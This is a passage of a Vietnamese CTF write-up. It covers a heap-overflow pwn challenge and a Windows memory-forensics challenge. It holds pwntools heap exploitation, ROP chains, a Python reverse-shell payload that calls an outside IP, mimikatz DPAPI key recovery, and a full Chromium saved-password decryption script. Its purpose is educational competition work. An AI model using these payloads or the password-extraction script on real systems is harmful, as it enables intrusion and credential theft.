<p><em>Tiếp đến ở</em><code>optionFETCH</code><em>khi fetch all tức</em><code>note_sync('s')</code><em>trên</em><code>interface</code></p>
<pre><code class="lang-cpp">DL_FOREACH_SAFE(cur_note, tmp1, etmp)
{
    tmp_size = <span class="hljs-keyword">sizeof</span>(struct NoteSerialize);
    <span class="hljs-keyword">if</span> (!tmp1-&gt;note_is_encrypt)
    {
        tmp_size += tmp1-&gt;note_content_len;
    }
    <span class="hljs-keyword">if</span> (reply_size + tmp_size &gt; SHM_MEM_MAX_SIZE)
    {
        DBG(<span class="hljs-string">"[backend] reply_size(%d) is larger than SHM_MEM_MAX_SIZE, enable truncated mode\n"</span>, reply_size + tmp_size);
        truncated = <span class="hljs-number">1</span>;
        tmp_note2 = tmp1;
        <span class="hljs-keyword">break</span>;
    }
    reply_size += tmp_size;
}
</code></pre>
<p><em>Khi mà</em><code>reply_size + tmp_size &gt; SHM_MEM_MAX_SIZE(0x10000)</code><em>thì chương trình sẽ dừng và không tăng</em><code>reply_msg</code><em>nhưng khi tạo</em><code>msg</code><em>gửi cho</em><code>interface</code><em>thì duyệt không xót note nào. Vậy chẳng hạn ta có</em><code>2</code><em>note với</em><code>content_len</code><em>là</em><code>0x400</code><em>và</em><code>0xfff0</code><em>nó sẽ xét tới note</em><code>2</code><em>cộng thêm</em><code>0xfff0</code><em>vào thì sẽ không tăng</em><code>reply_size</code><em>nữa nên</em><code>reply_size</code><em>ở đây vẫn sẽ tầm</em><code>0x4..</code><em>(cộng thêm</em><code>sizeof(struct NoteCommon)</code><em>) nên ở đây ta lại có</em><code>heap overflow</code></p>
<pre><code class="lang-cpp">DL_FOREACH_SAFE(cur_note, tmp1, etmp)
{
    serialize_p = (NoteSerialize_t)((<span class="hljs-keyword">size_t</span>)reply_msg-&gt;msg_content + written_count);

    <span class="hljs-built_in">memcpy</span>(&amp;(serialize_p-&gt;common), &amp;(tmp1-&gt;common), <span class="hljs-keyword">sizeof</span>(struct NoteCommon));
    written_count += <span class="hljs-keyword">sizeof</span>(struct NoteSerialize);
    DBG(<span class="hljs-string">"[backend] FETCH: serialize note %s(%s)\n"</span>, serialize_p-&gt;note_title, serialize_p-&gt;note_author);
    <span class="hljs-keyword">if</span> (!tmp1-&gt;note_is_encrypt)
    {
        written_count += tmp1-&gt;note_content_len;
        <span class="hljs-built_in">memcpy</span>(serialize_p-&gt;content, tmp1-&gt;note_content, tmp1-&gt;note_content_len);
    }
}
</code></pre>
<p><em>Ở</em><code>interface</code><em>ban đầu ta không thể tạo</em><code>content</code><em>chunk quá lớn</em></p>
<pre><code class="lang-cpp"><span class="hljs-built_in">printf</span>(<span class="hljs-string">"How many bytes for content? "</span>);
content_len = read_int();
<span class="hljs-keyword">if</span>(content_len &gt; MAX_CONTENT_LEN){
    content_len = MAX_CONTENT_LEN;
}
</code></pre>
<p><code>MAX_CONTENT_LEN</code><em>ở đây là</em><code>0x1000</code><em>nên ta có cách giải quyết là dựa trên việc ropchain ở phần trước mình</em><code>mprotectinterface</code><em>để sửa lại cách hoạt động của hàm cho cái check size đó trở lên rất lớn</em></p>
<p><em>Vậy thì giờ việc còn lại là xây dựng heap trên</em><code>backend</code><em>sao cho bug</em><code>heap overflow</code><em>vừa hay chỉ overwrite</em><code>1</code><em>byte của field</em><code>content</code><em>của</em><code>1</code><em>note và hạn chế phá heap</em></p>
<p><em>Payload của mình nối tiếp ở</em><code>flag1</code></p>
<pre><code class="lang-cpp">delete_note(b<span class="hljs-number">'</span>a<span class="hljs-number">'</span>, b<span class="hljs-number">'</span>a<span class="hljs-number">'</span>)
delete_note(b<span class="hljs-number">'b</span><span class="hljs-number">'</span>, b<span class="hljs-number">'b</span><span class="hljs-number">'</span>)

payload = p64(<span class="hljs-number">0x61</span>) + p64(<span class="hljs-number">0</span>)*<span class="hljs-number">7</span>
payload += p64(<span class="hljs-number">0x61</span>) + p64(<span class="hljs-number">0</span>)*<span class="hljs-number">3</span>
payload += p64(<span class="hljs-number">0x390</span>) + p64(<span class="hljs-number">0</span>)*<span class="hljs-number">8</span>
new_note(b<span class="hljs-number">'</span>a<span class="hljs-number">'</span>, b<span class="hljs-number">'</span>a<span class="hljs-number">'</span>, <span class="hljs-number">0xf910</span>, b<span class="hljs-number">'</span>a<span class="hljs-number">'</span>)
note_sync(<span class="hljs-string">'c'</span>)
new_note(b<span class="hljs-number">'</span>nao<span class="hljs-number">'</span>, b<span class="hljs-number">'</span>nao<span class="hljs-number">'</span>, <span class="hljs-number">0x600</span>, b<span class="hljs-number">'</span>nao<span class="hljs-number">'</span>)
note_sync(<span class="hljs-string">'c'</span>)
new_note(b<span class="hljs-number">'b</span><span class="hljs-number">'</span>, b<span class="hljs-number">'b</span><span class="hljs-number">'</span>, <span class="hljs-number">0xfff0</span>, b<span class="hljs-number">'b</span><span class="hljs-number">'</span>)
note_sync(<span class="hljs-string">'c'</span>)
payload = p32(<span class="hljs-number">0</span>) + p64(<span class="hljs-number">0x100</span>) + p64(<span class="hljs-number">0</span>)*<span class="hljs-number">5</span> + b<span class="hljs-number">'</span>\x00<span class="hljs-number">'</span>
new_note(b<span class="hljs-number">'</span>c<span class="hljs-number">'</span>*<span class="hljs-number">0x8</span> + p64(<span class="hljs-number">0xb1</span>), b<span class="hljs-number">'</span>c<span class="hljs-number">'</span>*<span class="hljs-number">0x18</span>, <span class="hljs-number">53</span>, payload)
note_sync(<span class="hljs-string">'c'</span>)
delete_note(b<span class="hljs-number">'b</span><span class="hljs-number">'</span>, b<span class="hljs-number">'b</span><span class="hljs-number">'</span>)
</code></pre>
<p><img src="https://hackmd.io/_uploads/ryTsuRVcp.png" alt="Screenshot 2024-01-29 144844" /></p>
<p><em>Ban đầu:</em></p>
<p><img src="https://hackmd.io/_uploads/B1WauRVqp.png" alt="Screenshot 2024-01-29 144903" class="image--center mx-auto" /></p>
<p><em>Sau đó:</em></p>
<p><img src="https://hackmd.io/_uploads/rkkAdA4qT.png" alt="Screenshot 2024-01-29 144922" class="image--center mx-auto" /></p>
<p><em>Như vậy là ta có thể đưa heap kia vào</em><code>content</code><em>của</em><code>1</code><em>note trên</em><code>interface</code><em>nhưng vì</em><code>NULL</code><em>byte nên mình ko thể dùng</em><code>optionList Note</code><em>để đọc</em></p>
<p><em>Dựa vào ropchain ban đầu mình sửa luôn hàm</em><code>Read_note</code><em>thành arbitrary read luôn</em></p>
<pre><code class="lang-cpp">new_read_note = <span class="hljs-string">'sub rsp, 0x80\n'</span>
new_read_note += shellcraft.read(<span class="hljs-number">0</span>, interface.symbols[<span class="hljs-string">'notes'</span>] + <span class="hljs-number">8</span>, <span class="hljs-number">8</span>)
new_read_note += <span class="hljs-string">'\n mov rsi, [rsi]\n'</span>
new_read_note += shellcraft.write(<span class="hljs-number">1</span>, <span class="hljs-string">'rsi'</span>, <span class="hljs-number">0x100</span>)
new_read_note += <span class="hljs-string">'\nadd rsp, 0x80'</span>
new_read_note += <span class="hljs-string">'  \nret'</span>
</code></pre>
<p><em>Patch lại</em><code>interface</code></p>
<pre><code class="lang-cpp">rop_elf.raw(interface.symbols[<span class="hljs-string">'note_main'</span>] + <span class="hljs-number">122</span>)
rop_libc.mprotect(interface.address + <span class="hljs-number">0x2000</span>, <span class="hljs-number">0x3000</span>, <span class="hljs-number">7</span>)
rop_libc.rsi = interface.symbols[<span class="hljs-string">'edit_note'</span>] + <span class="hljs-number">525</span>
rop_libc.rdi = <span class="hljs-number">0x0fc5390001ffffb8</span>
rop_libc.raw(MOV_PRSI_RDI)
rop_libc.rsi = interface.symbols[<span class="hljs-string">'add_new_note'</span>] + <span class="hljs-number">621</span>
rop_libc.rdi = <span class="hljs-number">0xc439410001ffffb8</span>
rop_libc.raw(MOV_PRSI_RDI)
rop_libc.rsi = interface.symbols[<span class="hljs-string">'add_new_note'</span>] + <span class="hljs-number">254</span>
rop_libc.rdi = <span class="hljs-number">0x0fd0390001ffffba</span>
rop_libc.raw(MOV_PRSI_RDI)
rop_libc.read(<span class="hljs-number">0</span>, interface.symbols[<span class="hljs-string">'read_note'</span>], <span class="hljs-number">0x200</span>)
rop_libc.raw(RET)

payload += rop_libc.chain() + rop_elf.chain()
</code></pre>
<p><em>Đoạn tiếp sau đây của mình chỉ hoạt động trên local còn khi chạy trên server thì sau khi leak được heap của</em><code>backend</code><em>thì hình như</em><code>backend</code><em>crash nên không thể kết nối được nữa</em></p>
<p><em>Tiếp theo dựa vào</em><code>heap overflow</code><em>thì mình overwrite được tcache cho trỏ về</em><code>1</code><em>note hiện tại để mình có thể sửa</em><code>content</code><em>tùy ý mà leak. Đoạn này rất mệt vì nó phá heap với struct nhiều làm mãi mới xây dựng được</em><code>1</code><em>cái payload chạy được (mình đọc lại cũng chẳng hiểu gì)</em></p>
<p><img src="https://hackmd.io/_uploads/H1JWo0E9T.png" alt="Screenshot 2024-01-29 145941" class="image--center mx-auto" /></p>
<p><em>Như ta thấy</em><code>next_note</code><em>và</em><code>content</code><em>đều trỏ cùng</em><code>1</code><em>chunk nên mình thay đổi</em><code>content</code><em>để leak</em><code>libc</code><em>và</em><code>stack</code></p>
<p><em>Sau thì mình fake tcache lần nữa nma giờ không thể làm được</em><code>heap overflow</code><em>với cái kiểu</em><code>reply_msg + tmp_size &gt; 0x10000</code><em>heap giờ nát quá rồi không chạy được cái đó nữa thì ở đây do có thể control được hoàn toàn</em><code>1</code><em>note mình thay đổi control vì mình có thể</em><code>arbitrary free1</code><em>chunk bất kì. Mình chỉ cần tìm trước</em><code>1</code><em>cái tcache chunk nào đó có</em><code>1</code><em>số data mà mình kiểm soát từ trước đó rồi craft fake chunk</em></p>
<p><img src="https://hackmd.io/_uploads/HkQOnA49a.png" alt="Screenshot 2024-01-29 150545" class="image--center mx-auto" /></p>
<p><img src="https://hackmd.io/_uploads/rJu_3R4qT.png" alt="Screenshot 2024-01-29 150553" class="image--center mx-auto" /></p>
<p><em>Lúc đầu cái</em><code>aa...</code><em>kia là</em><code>1</code><em>cái string khác mà mình biết ngay là tên của</em><code>1</code><em>note mình tạo nên mình biết là mình control được rồi mình set</em><code>0x151</code><em>ở kia thôi</em></p>
<pre><code class="lang-cpp">new_note(b<span class="hljs-number">'</span>a<span class="hljs-number">'</span>*<span class="hljs-number">8</span> + p32(<span class="hljs-number">0x151</span>), b<span class="hljs-number">'f</span>ake<span class="hljs-number">'</span>, <span class="hljs-number">0xc0</span>, fake_chunk)
</code></pre>
<p><code>free</code><em>rồi</em><code>malloc</code><em>chunk vừa rồi để overwrite tcache thành</em><code>saved rip - 0x10</code><em>của</em><code>memcpy</code><em>rồi tạo reverse shell do mình không thể interact trực tiếp với</em><code>backend</code></p>
<pre><code class="lang-cpp">PYTHON3 = env_back - <span class="hljs-number">0x298</span> - <span class="hljs-number">8</span> - <span class="hljs-number">0x10</span> + <span class="hljs-number">0xa0</span>
C = PYTHON3 + <span class="hljs-number">1</span> + len(<span class="hljs-string">'/bin/python3'</span>)
REVERSE_ADDR = C + <span class="hljs-number">1</span> + len(<span class="hljs-string">'-c'</span>)
REVERSE = b<span class="hljs-number">'</span>socket=__import__(<span class="hljs-string">"socket"</span>);os=__import__(<span class="hljs-string">"os"</span>);pty=__import__(<span class="hljs-string">"pty"</span>);s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((<span class="hljs-string">"193.161.193.99"</span>,<span class="hljs-number">26863</span>));os.dup2(s.fileno(),<span class="hljs-number">0</span>);os.dup2(s.fileno(),<span class="hljs-number">1</span>);os.dup2(s.fileno(),<span class="hljs-number">2</span>);pty.spawn(<span class="hljs-string">"/bin/sh"</span>)'
back_rop = ROP(libc_back)
flag = b<span class="hljs-number">'</span>/home/nao/flag\x00r\x00<span class="hljs-number">'.l</span>just(<span class="hljs-number">0x18</span>, b<span class="hljs-number">'</span>\x00<span class="hljs-number">'</span>)
back_rop.raw(<span class="hljs-number">0</span>)
back_rop.raw(<span class="hljs-number">0</span>)
back_rop.raw(<span class="hljs-number">0</span>)
back_rop.execve(PYTHON3, PYTHON3 - <span class="hljs-number">0x40</span>, <span class="hljs-number">0</span>)
payload = back_rop.chain()

payload = payload.ljust(<span class="hljs-number">0xa0</span> - <span class="hljs-number">0x40</span>, b<span class="hljs-number">'</span>\x00<span class="hljs-number">'</span>)
payload += p64(PYTHON3)
payload += p64(C)
payload += p64(REVERSE_ADDR)
payload += p64(<span class="hljs-number">0</span>)*<span class="hljs-number">5</span>
payload += b<span class="hljs-number">'</span>/bin/python3\x00<span class="hljs-number">'</span> + b<span class="hljs-number">'</span>-c\x00<span class="hljs-number">'</span> + REVERSE + b<span class="hljs-number">'</span>\x00<span class="hljs-number">'</span>
</code></pre>
<p><img src="https://hackmd.io/_uploads/SJYxCRN9a.png" alt="Screenshot 2024-01-29 151209" /></p>
<p><img src="https://hackmd.io/_uploads/ryv-R0N5a.png" alt="Screenshot 2024-01-29 151224" /></p>
<p><em>Tiếc là trên server chạy ko ăn:((</em></p>
<p><em>Chạy được trên server sau 10 phút đợi script:</em></p>
<p><img src="https://hackmd.io/_uploads/rJZ_mOLca.png" alt="Screenshot 2024-01-30 195938" /></p>
<h1 id="heading-miscellaneous"><strong><em>MISCELLANEOUS</em></strong></h1>
<h2 id="heading-misc-forensics-tet-amp-4n6">Misc / Forensics - <strong><em>TET &amp; 4N6</em></strong></h2>
<p><strong><em>credit: Nex0</em></strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1706961302231/03aefd6e-f754-4bbb-b69f-12f99cf18586.png" alt class="image--center mx-auto" /></p>
<p><em>Chall:</em><a target="_blank" href="https://mega.nz/file/U20TCS7Z#dXWlXyL4MKVx5J5RahJRpC3uB_oUJrH1IlPdRhmrNvA"><em>https://mega.nz/file/U20TCS7Z#dXWlXyL4MKVx5J5RahJRpC3uB_oUJrH1IlPdRhmrNvA</em></a>*<br />Vì author ra đề troll, chưa check nên tồn tại nhiều unintended solution, ở đây mình sẽ làm theo hướng mà mình nghĩ là intended 🐧*</p>
<h3 id="heading-1-find-the-malicious-code-and-tell-me-the-ip-and-port-c2"><em>1. Find the malicious code and tell me the IP and Port C2</em></h3>
<p><em>Đầu tiên, ta load file</em><a target="_blank" href="http://Backup.ad"><code>Backup.ad</code></a><code>1</code><em>vào</em><code>FTK Imager</code><em>.</em></p>
<p><em>Vì description có nói tới việc đọc rules xong thì máy bị infected. Đầu tiên mình check trong</em><code>Recent</code><em>folder:</em></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1706961374829/d2660033-08f2-485b-8924-946cacfeb170.png" alt class="image--center mx-auto" /></p>
<p><em>Ta thấy file lnk tới 1 file Rules, lướt binary xuống xem ta sẽ có file path nó trỏ đến:</em></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1706961403796/a7a1afc1-0fc1-4cd8-9fbe-0ff5eb3a4697.png" alt class="image--center mx-auto" /></p>
<p><em>Mình sẽ dump file docx này ra từ memdump mà đề bài đã cho bằng</em><code>Volatility3</code><em>:</em></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1706961429847/a86a245f-7cba-4d79-a301-41be99b15b84.png" alt class="image--center mx-auto" /></p>
<p><em>Và vì là Docx, mình tiếp tục check</em><code>Recent</code><em>folder của Office:</em></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1706961441324/ad3b4d70-e24e-4193-a5cb-376c56f8ae66.png" alt class="image--center mx-auto" /></p>
<p><em>Như ta thấy, recent opened file có file Rule, ngoài ra nó load cả Template của file docx lên. Tuy nhiên khi mình check trên file docx thì không có dấu hiệu nào là malicious template cả 💀. Vì thế mình tiếp tục check trong</em><code>Template</code><em>:</em></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1706961458773/b6565560-02ec-4e89-aa95-b211f5000bba.png" alt class="image--center mx-auto" /></p>
<p><em>Template có enable macro (dotm), khá khả nghi. Mình extract file</em><code>Normal.dotm</code><em>và kiểm tra macro của nó bằng</em><code>olevba</code><em>:</em></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1706961476263/32aed1bf-32d3-46c5-a80a-2336199c71dd.png" alt class="image--center mx-auto" /></p>
<p><em>Sau khi đọc qua code, ta tạm hiểu được là nó khởi tạo socket, connect tới c2 server, gọi reverseshell bằng createproc cmd.</em></p>
<p><em>Và tại code, ta có luôn IP và Port của C2 Server:</em></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1706961497914/718dca5c-9851-4f12-b3fc-02809cffc446.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-2-what-was-the-first-flag-you-found"><em>2. What was the first flag you found?</em></h3>
<p><em>Tại đây, dưới cùng của code, ta thấy có 1 comment được encode base64:</em></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1706961526407/43c18498-8d28-418b-b8ef-4d34b431763a.png" alt class="image--center mx-auto" /></p>
<p><em>Sau khi decode 5 lần ra thì ta có part1 của flag:</em></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1706961554437/53a4783b-4144-4ef1-ac09-797fa4b67714.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-3-after-registering-an-account-i-no-longer-remember-anything-about-my-account-can-you-help-me-find-and-get-the-second-flag"><em>3. After registering an account, I no longer remember anything about my account. Can you help me find and get the second flag?</em></h3>
<p><em>:v Tác giả chưa check đề nên History vẫn chứa info về flag này, nhưng mình sẽ làm theo 2 cách khác:</em></p>
<ul>
<li><p><em>Cách 1: Dựa vào bài viết</em><a target="_blank" href="https://systemweakness.com/extracting-saved-passwords-from-web-browser-1444dbfb6551"><em>này</em></a><em>. Đầu tiên mình extract file</em><code>Login Data</code><em>ra và view bằng tool xem sql online. Ta thấy được 1 account pastebin được lưu pass có user name là</em><code>tecij23311</code></p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1706961638231/7dc090d0-0ec7-4bb6-aa27-aa34f92f4c06.png" alt class="image--center mx-auto" /></p>
<p>  <em>Sau đó mình dump proc của chrome ra, sau đó dùng combo tối thượng</em><code>stringgrep</code><em>tương tự cách họ demo trong đó:</em></p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1706961664709/07af6a79-1bf8-470a-b1ae-27250ba160e2.png" alt class="image--center mx-auto" /></p>
<p>  <em>Ta có được password là</em><code>tecij23311Pass</code><em>. Login pastebin bằng tài khoản đó và ta có được part2.</em></p>
</li>
<li><p><em>Cách 2: Painful, nhưng nghe chắc chắn hơn. Mình sử dụng công cụ</em><code>MemprocFS</code><em>. Ở đây mình load thêm plugin</em><code>pym_regscrets</code><em>vào tool:</em></p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1706961699002/5495f8f8-989e-4fa5-b065-42e835646e0c.png" alt class="image--center mx-auto" /></p>
<p>  <em>Sau đó load mem vào:</em></p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1706961718377/2606e9cb-6a8e-4792-8df8-eddddf5d65c0.png" alt class="image--center mx-auto" /></p>
<p>  <em>Check kết quả parse được từ plugin chúng ta thêm vào, mình lấy được windows default password:</em></p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1706961735336/35a8d582-c94e-4a40-bae0-96a03eff0a65.png" alt class="image--center mx-auto" /></p>
<p>  <em>Sau khi có lsa pass, mình sử dụng</em><code>mimikatz</code><em>để lấy masterkey:</em></p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1706961747650/fd4a47af-fc56-4db1-8eb2-8f2e201f1e27.png" alt class="image--center mx-auto" /></p>
<p>  <em>Tiếp theo, tại file</em><code>Local State</code><em>, ta lấy trường</em><code>encrypted_key</code><em>ra decode base64 và xóa phần</em><code>DPAPI</code><em>ở đầu file đi:</em></p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1706961764210/d45b89d9-5fe2-482c-bccc-37908ad4bdc4.png" alt class="image--center mx-auto" /></p>
<p>  <em>Đây là key dùng để encrypt password ở file</em><code>Login Data</code><em>, nó đã được mã hóa bởi masterkey. Ở trên ta đã có được masterkey, mình dùng</em><code>mimikatz</code><em>cùng masterkey này để decrypt ra aes key cần tìm:</em></p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1706961786739/3ed1ab42-fe32-4270-b44f-fcd5eecf93ab.png" alt class="image--center mx-auto" /></p>
<p>  <em>Ta có được aeskey là:</em><code>aa b6 83 b4 8a f4 52 76 f7 44 48 5a 2c 95 ba 15 2f c3 ae 2a ff 00 5b 1d d7 ba 19 b1 e2 f0 77 29</code></p>
<p>  <em>Cuối cùng mình sử dụng script sau để decrypt password trong</em><code>Login Data</code><em>:</em></p>
<pre><code class="lang-python">  <span class="hljs-comment"># Decrypt Chromium Passwords</span>
  <span class="hljs-keyword">import</span> argparse
  <span class="hljs-keyword">import</span> base64
  <span class="hljs-keyword">import</span> os
  <span class="hljs-keyword">import</span> re
  <span class="hljs-keyword">import</span> shutil
  <span class="hljs-keyword">import</span> sqlite3
  <span class="hljs-keyword">import</span> sys
  <span class="hljs-keyword">from</span> Cryptodome.Cipher <span class="hljs-keyword">import</span> AES

  <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">decrypt_payload</span>(<span class="hljs-params">cipher, payload</span>):</span>
      <span class="hljs-keyword">return</span> cipher.decrypt(payload)

  <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">generate_cipher</span>(<span class="hljs-params">aes_key, iv</span>):</span>
      <span class="hljs-keyword">return</span> AES.new(aes_key, AES.MODE_GCM, iv)

  <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">decrypt_password</span>(<span class="hljs-params">ciphertext, secret_key</span>):</span>
      <span class="hljs-keyword">try</span>:
          initialisation_vector = ciphertext[<span class="hljs-number">3</span>:<span class="hljs-number">15</span>]
          encrypted_password = ciphertext[<span class="hljs-number">15</span>:<span class="hljs-number">-16</span>]
          cipher = generate_cipher(secret_key, initialisation_vector)
          decrypted_pass = decrypt_payload(cipher, encrypted_password)
          decrypted_pass = decrypted_pass.decode()  
          <span class="hljs-keyword">return</span> decrypted_pass
      <span class="hljs-keyword">except</span> Exception <span class="hljs-keyword">as</span> e:
          print(<span class="hljs-string">"%s"</span>%str(e))
          print(<span class="hljs-string">"[ERR] Unable to decrypt, Chrome version &lt;80 not supported. Please check."</span>)
          <span class="hljs-keyword">return</span> <span class="hljs-string">""</span>

  <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">get_db_connection</span>(<span class="hljs-params">chromium_path_login_db</span>):</span>
      <span class="hljs-keyword">try</span>:
          shutil.copy2(chromium_path_login_db, <span class="hljs-string">"Loginvault.db"</span>) 
          <span class="hljs-keyword">return</span> sqlite3.connect(<span class="hljs-string">"Loginvault.db"</span>)
      <span class="hljs-keyword">except</span> Exception <span class="hljs-keyword">as</span> e:
          print(<span class="hljs-string">"%s"</span>%str(e))
          print(<span class="hljs-string">"[ERR] Chrome database cannot be found"</span>)
          <span class="hljs-keyword">return</span> <span class="hljs-literal">None</span>

  <span class="hljs-comment"># Main Function</span>
  <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">main</span>():</span>
      chromium_path = os.path.normpath(<span class="hljs-string">'Login Data'</span>)
      secret_key = bytes.fromhex(<span class="hljs-string">'aab683b48af45276f744485a2c95ba152fc3ae2aff005b1dd7ba19b1e2f07729'</span>)

      <span class="hljs-keyword">try</span>:
          chromium_path_login_db = chromium_path
          conn = get_db_connection(chromium_path_login_db)
          <span class="hljs-keyword">if</span>(secret_key <span class="hljs-keyword">and</span> conn):
              cursor = conn.cursor()
              cursor.execute(<span class="hljs-string">"SELECT origin_url, username_value, password_value FROM logins"</span>)
              <span class="hljs-keyword">for</span> index,login <span class="hljs-keyword">in</span> enumerate(cursor.fetchall()):
                  url = login[<span class="hljs-number">0</span>]
                  username = login[<span class="hljs-number">1</span>]
                  ciphertext = login[<span class="hljs-number">2</span>]
                  decrypted_password = decrypt_password(ciphertext, secret_key)
                  <span class="hljs-keyword">if</span> (decrypted_password != <span class="hljs-string">""</span>):
                      print(<span class="hljs-string">"Sequence: %d"</span>%(index))
                      print(<span class="hljs-string">"URL: %s\nUser Name: %s\nPassword: %s\n"</span>%(url,username,decrypted_password))
                      print(<span class="hljs-string">"*"</span>*<span class="hljs-number">50</span>)
              <span class="hljs-comment"># Close database connection</span>
              cursor.close()
              conn.close()
              <span class="hljs-comment"># Delete temp login db</span>
              os.remove(<span class="hljs-string">"Loginvault.db"</span>)
      <span class="hljs-keyword">except</span> Exception <span class="hljs-keyword">as</span> e:
          print(<span class="hljs-string">"[ERR] %s"</span>%str(e))

  <span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">'__main__'</span>:
      main()
</code></pre>
<p>  <em>Và ta có được password:</em></p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1706961866791/5796e6cf-6324-458f-80ec-c9fb8dfb3146.png" alt class="image--center mx-auto" /></p>
<p>  <em>Tiếp tới là login như cách 1 và lấy part 2 thôi.</em></p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1706961883886/a79cf8ed-5975-4666-a46d-041512803292.png" alt class="image--center mx-auto" /></p>
<p>  <em>Flag:</em><code>TetCTF{172.20.25.15:4444_VBA-M4cR0_R3c0v3rry_34sy_R1ght?}</code></p>
</li>
</ul>
<h1 id="heading-loi-ket"><em>Lời kết</em></h1>
<p><em>Cảm ơn mọi người đã đọc đến đây, cũng xin cảm ơn những nỗ lực không biết mệt mỏi của các anh chị em trong CLB, năm 2024 bọn mình sẽ cố gắng đóng góp nhiều hơn nữa cho cộng đồng ATTT của Việt Nam nói chung và của sinh viên nói riêng.</em></p>
<p><em>Bonus thêm những quả ảnh nhộn nhịp khi làm bài hehe 😆</em></p>
<p><img src="https://media.discordapp.net/attachments/1189440791660208148/1201120037495394374/image.png?ex=65c8a934&amp;is=65b63434&amp;hm=294e3954156f3848ea725d2e6c2775736d5b2b18a831f2fc2491b4249399ea9c&amp;=&amp;format=webp&amp;quality=lossless&amp;width=1042&amp;height=142" alt="Image" /></p>
<p><img src="https://media.discordapp.net/attachments/1189440791660208148/1201120036635562025/image.png?ex=65c8a934&amp;is=65b63434&amp;hm=857d62165059aa685c60db49a5b6aad21d544c1fc48a14cede3ccebcb87b4936&amp;=&amp;format=webp&amp;quality=lossless&amp;width=1064&amp;height=158" alt="Image" /></p>
<p><img src="https://media.discordapp.net/attachments/1189440791660208148/1201120036035764224/image.png?ex=65c8a934&amp;is=65b63434&amp;hm=3f140d76a8760072db880a22985b1f9f62604d42b77ab5ca53a3d8befab21340&amp;=&amp;format=webp&amp;quality=lossless&amp;width=1080&amp;height=135" alt="Image" /></p>
<p><img src="https://media.discordapp.net/attachments/1189440791660208148/1201120037109510144/image.png?ex=65c8a934&amp;is=65b63434&amp;hm=5cad17f97ab9987415604190e6a6147fa062854624278a1ae5c93a66d1c35a18&amp;=&amp;format=webp&amp;quality=lossless&amp;width=742&amp;height=148" alt="Image" class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1706963620244/040a71e4-fa5b-4d86-b8f2-15a100dd1d11.png" alt class="image--center mx-auto" /></p>
]]></content:encoded></item></channel></rss>